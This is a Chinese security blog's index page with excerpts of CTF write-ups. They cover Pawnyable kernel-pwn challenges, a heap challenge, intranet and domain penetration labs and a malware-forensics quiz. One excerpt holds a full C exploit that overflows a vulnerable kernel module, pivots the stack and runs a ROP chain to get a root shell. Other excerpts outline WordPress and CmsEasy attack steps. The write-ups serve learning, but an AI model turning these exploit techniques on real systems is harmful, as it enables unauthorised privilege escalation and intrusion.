此中有真意,欲辨已忘言。
post @ 2025-03-17

因不可抗力因素,停更半年

我痛定思痛,深感自己才艺未尽,功力未足。为了突破瓶颈,决定闭关修炼,不再更新博客,直到神功大成,世界为我震撼!待日后我横扫江湖,再次出山,必定以惊世之作震惊四座!敬请期待!

Read More

LK01-2

基本信息

内核版本 5.15.0

  • run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
        -no-reboot \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user

    保护全开

  • init

    #!/bin/sh
    mdev -s
    mount -t proc none /proc
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    stty -opost
    echo 2 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    
    insmod /root/vuln.ko
    mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
    
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    echo "[ Holstein v2 (KL01-2) - Pawnyable ]"
    setsid cttyhack setuidgid 1337 sh
    
    umount /proc
    poweroff -d 0 -f

逆向分析

  • module_initialize

    注册了一个杂项设备 holstein

  • module_open

    申请了一块0x400的内存

  • module_read

  • module_write

  • module_close

    UAF

  • module_cleanup

    卸载设备

漏洞利用

没有对size进行任何限制,存在内核堆溢出

SLUB 的特性决定了只有大小相同的对象才会从同一个 kmem_cache 区域分配,0x400的大小,那么我的想法是对 tty_struct 进行堆喷射,泄露内核基址后劫持 tty_ops 函数表

Read More
post @ 2025-03-05

Delegation是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

  • Brute Force
  • Privilege Elevation
  • Kerberos
  • 域渗透

外网边界

信息搜集

访问ip

不多废话,先简单打波poc

好大个 cmseasy,看下源代码

cmseasy 7.7.5,去 opencve 搜搜看

CmsEasy V7.7.5_20210919 后台任意文件写

参考文章:CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞 | jdr

Read More

基本信息

内核版本 5.10.102

  • start.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 128M \
        -kernel ./bzImage \
        -initrd ./rootfs.cpio \
        -monitor /dev/null \
        -append "root=/dev/ram console=ttyS0 oops=panic quiet panic=1 kaslr" \
        -cpu kvm64,+smep\
        -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
        -nographic \
        -no-reboot

    没开 smap 和 smep

  • init

    #!/bin/sh
    
    mkdir /tmp
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t debugfs none /sys/kernel/debug
    mount -t devtmpfs devtmpfs /dev
    mount -t tmpfs none /tmp
    mdev -s
    echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
    
    insmod /test.ko
    chmod 666 /dev/kernelpwn
    chmod 740 /flag
    echo 1 > /proc/sys/kernel/kptr_restrict
    echo 1 > /proc/sys/kernel/dmesg_restrict
    chmod 400 /proc/kallsyms
    
    poweroff -d 120 -f &
    setsid /bin/cttyhack setuidgid 1000 /bin/sh
    
    umount /proc
    umount /tmp
    
    
    poweroff -d 0  -f

逆向分析

  • kernel_init

注册了一个杂项设备 kernelpwn

  • kernel_exit

kernel_ioctl

  • add

    需要传递的是一个结构体:
    struct add_args {
        size_t size;
        char *buf;
    };
Read More

LK01 +smep

在qemu启动脚本里添加+smep

这下原来的EXP就打不通了

第一种思路是修改cr4寄存器关掉保护,不过没找到合适的gadget

第二种思路就是走krop,这里把内核栈劫持到用户空间上走krop,正好有合适的gadget:

利用 swapgs 和 iretq 降落到用户态

#define _GNU_SOURCE 
#include <sys/mman.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

#define POP_RDI_RET 0xffffffff8127bbdc + koff
#define SWAPGS_RET 0xffffffff8160bf7e + koff
#define IRETQ_POP_RBP_RET 0xffffffff810202af + koff

size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;
size_t stack_pivot=0xffffffff81507c8f; //mov esp, 0x39000000; ret; 

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}


int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");

	char buf[0x420]={0};
	*(size_t *)&buf[0x408]=(size_t)stack_pivot;

	char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, 
	PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
	
	size_t ropchain[0x20];
	int i;
	ropchain[i++]=POP_RDI_RET;
	ropchain[i++]=init_cred;
	ropchain[i++]=commit_creds_addr;
	ropchain[i++]=SWAPGS_RET;
	ropchain[i++]=IRETQ_POP_RBP_RET;
	ropchain[i++]=(size_t)getRootShell;
	ropchain[i++]=user_cs;
	ropchain[i++]=user_rflags;
	ropchain[i++]=user_rsp;
	ropchain[i++]=user_ss;

	memcpy(userland+0x4000, ropchain, sizeof(ropchain));

	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}

LK01 +smep, +smap, kpti

在qemu启动脚本里添加+smep,+smappti

Read More

LK01

基本信息

  • run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
        -no-reboot \
        -cpu qemu64 \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user

    没开 kaslr

  • init

    #!/bin/sh
    
    ##
    ## Setup
    ##
    mdev -s
    mount -t proc none /proc
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    stty -opost
    echo 2 > /proc/sys/kernel/kptr_restrict
    #echo 1 > /proc/sys/kernel/dmesg_restrict
    
    ##
    ## Install driver
    ##
    insmod /root/vuln.ko
    mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
    
    ##
    ## User shell
    ##
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    echo "[ Holstein v1 (LK01) - Pawnyable ]"
    setsid cttyhack setuidgid 1337 sh
    
    ##
    ## Cleanup
    ##
    umount /proc
    poweroff -d 0 -f

    加载了一个LKM /root/vuln.ko

为了方便把 kptr_restrict 注释掉

逆向分析

  • module_initialize
    初始化了一个字符设备 “holstein”

  • module_open
    分配了一个 0x400 的内存块

  • module_read

  • module_write

  • module_close

    这里其实还存在一个UAF

  • module_cleanup

漏洞利用

很明显,对内核空间的读写没有作任何限制,也没有任何保护

先测溢出点

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");
	char buf[0x420]={0};
	*(size_t *)&buf[0x408]=0xdeadbeef;
	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}
Read More

题目描述:Torghast, Tower of the Damned

基本信息

2.31-0ubuntu9.7

逆向分析

  • 主函数

  • join_game()
    有三个boss,分别是HP 10,HP 1000,HP ????。要全部打败才能继续


在use magic里面有个漏洞,有符号数转无符号数,把mp扣成负数就会转为一个非常大的无符号数从而满足条件

  • player_manage()
    堆菜单,没有size限制

show函数在 join_game() 里:

而show的索引由 select_user()控制

Read More
post @ 2025-02-03
Here's something encrypted, password is required to continue reading.
Read More


32位程序,无壳,编译器为mingw

1. 通过分析恶意程序,找出运行该软件必要的参数是?(答案格式:–xxx-xxx) (2.0分)

--access-token

2. 该程序为了控制控制最大并发数,在注册表中设置了MaxMpxCt参数,请给出设置参数的具体值。(答案格式:纯数字) (2.0分)

65533

3. 该程序运行过程中会创建新的分区磁盘,请写出该分区磁盘一级目录中的文件名。(答案格式:如有字母请大写) (2.0分)

Boot

新增分区 Z:\,下面有隐藏文件

Read More

该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机

  • Wordpress
  • 内网渗透
  • 域渗透
  • Kerberos
  • AD CS

外网边界

信息搜集

wordpress CMS

goby扫下端口,顺便打些常见poc

看了是要从wordpress入手了

wp cms漏洞几乎都在后台,所以第一步得肯定先登录

wpscan枚举用户名

默认情况下 WordPress 后台登录界面在 /wp-login.php

Read More
⬆︎TOP